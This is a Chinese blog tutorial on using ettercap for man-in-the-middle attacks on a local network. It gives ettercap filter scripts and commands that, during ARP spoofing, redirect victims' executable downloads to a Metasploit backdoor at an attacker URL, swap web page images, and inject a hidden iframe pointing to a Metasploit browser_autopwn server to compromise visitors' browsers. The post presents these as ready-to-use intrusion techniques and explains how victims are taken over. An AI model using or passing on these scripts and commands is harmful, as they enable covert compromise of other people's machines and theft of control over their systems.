最新消息:网站改版咯

嗅探工具ettercap使用

Web技术 Yovae 1650浏览

ettercap是LINUX下一个强大的欺骗工具,当然WINDOWS也能用,你能够用飞一般的速度创建和发送伪造的包.让你发送从网络适配 器到应用软件各种级别的包.绑定监听数据到一个本地端口:从一个客户端连接到这个端口并且能够为不知道的协议解码或者把数据插进去(只有在arp为基础模 式里才能用)
下面我们来说说咋吧数据插进去
首先你得有自己个规则,默认的ETTERCAP自带了几个

brk@Dis9Team:/usr/share/ettercap$ ls
ettercap.png  etterfilter.cnt        etterfilter.tbl   etter.mime
etter.dns     etter.filter.examples  etter.finger.mac  etter.services
etter.fields  etter.filter.kill      etter.finger.os   etter.ssl.crt
etter.filter  etter.filter.ssh       etterlog.dtd
brk@Dis9Team:/usr/share/ettercap$

在入侵过程种,这些达不到我们想要的,来看这个规则

# replace rmccurdy with your website
# replace the url with what ever exe you like

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
          # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("keep-alive", "close" ");
replace("Keep-Alive", "close" ");

}

if (ip.proto == TCP && search(DATA.data, ": application") ){
# enable for logging log(DECODED.data, "/tmp/log.log");
msg("found EXEn");
# "Win32" is the first part of the exe example:
# if the EXE started with "this program must be run in MSDOS mode" you could search for MSDOS etc ..
if (search(DATA.data, "Win32")) {
msg("doing nothingn");
} else {
replace("200 OK", "301 Moved Permanently
Location: http://www.dis9.com/evil.exe
");
msg("redirect successn");

}
}
[/code]
他吧80端口请求的数据application(也就是附件) 301重定向成了他自己的EXE程序,这个EXE必须是Win32程序,也就是命令行的。
下面来尝试一下,用MSF生成个TCP后门,再把 Location: http://www.dis9.com/evil.exe 改成自己的地址
用etterfilter吧规则文件编译成ettercap能读懂的文件,进行欺骗
brk@Dis9Team:/$ etterfilter exe.filter -o exe.ef
brk@Dis9Team:/$ sudo ettercap -T -q -i vboxnet0 -F exe.ef -M ARP// //-P autoadd

模式必须是ARP的,当这个网段的某机子下载某WIN程序的时候,神奇的东西出现了

程序已经被替换成了我们的后门

当他点击运行的时候,我们获得了他的系统权限

如果你是一个喜欢恶作剧的人,你还可以看看这个脚本 他吧80端口请求的图片替换成了本地的

http://www.irongeek.com/i.php?page=security/ettercapfilter

if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
	  # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("img src=", "img src="http://192.1.1.200/helenda.jpeg" ");
   replace("IMG SRC=", "img src="http://192.1.1.200/helenda.jpeg" ");
   msg("Filter Ran.n");
}

编译运行试试

root@Dis9Team:/tmp# etterfilter 1 -o pic.ef

etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA

 12 protocol tables loaded:
	DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth 

 11 constants loaded:
	VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP 

 Parsing source file '1'  done.

 Unfolding the meta-tree  done.

 Converting labels to real offsets  done.

 Writing output to 'pic.ef'  done.

 -> Script encoded into 16 instructions.
root@Dis9Team:/tmp# ettercap -T -q -i vboxnet0 -F pic.ef -M ARP // // -P autoadd 

ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA

Content filters loaded from pic.ef...
Listening on vboxnet0... (Ethernet)

vboxnet0 ->	0A:00:27:00:00:00       192.1.1.200     255.255.255.0

运行没出粗 这样别人访问的网页图片全部都是你设置的了 网卡的原因我只能本地测试啦

这是正常的 别人访问后

如果你不喜欢娱乐,用这个个来挂马的效果是酷酷的,我们改变一下脚本:


if (ip.proto == TCP && ip.dst != '192.1.1.200' && tcp.dst == 80 || tcp.dst == 8080) {
  
 #...and if it contains an Accept-Encoding header...
  
 if (search(DATA.data, "Accept-Encoding")) {
  
 #...remove any Encoding (make sure we are using plain text)
  
 replace("Accept-Encoding", "Accept-Nothing!");
  
 }
  
}
  
#--Inject Iframe--
  
if (ip.proto == TCP && ip.dst != '192.1.1.200' && tcp.src == 80 || tcp.src == 8080) {
  
 if (search(DATA.data, "<body>")){
  
 #Replace it with the body tag and an iframe to our attacking webpage
  
 replace("<body>","<body><iframe src='http://192.1.1.200' width=0 height=0 />");
  
 msg("iframe injected after <body>n");
  
 }
  
 if (search(DATA.data, "<BODY>")){
  
 replace("<BODY>","<BODY><IFRAME SRC='http://192.1.1.200' width=0 height=0 />");
  
 msg("iframe injected after <BODY>n");
  
 }
  
}

我们先来生成下网马 改下上面的IP地址


msf  auxiliary(smb_version) > use auxiliary/server/browser_autopwn
msf  auxiliary(browser_autopwn) > set URIPATH /
URIPATH => /
msf  auxiliary(browser_autopwn) > set LHOST 192.1.1.200
LHOST => 192.1.1.200
msf  auxiliary(browser_autopwn) > set LPORT 80

编译运行ETTERCAP 当我们浏览网页的时候发现 会很卡。

转载请注明:Yovae Studio » 嗅探工具ettercap使用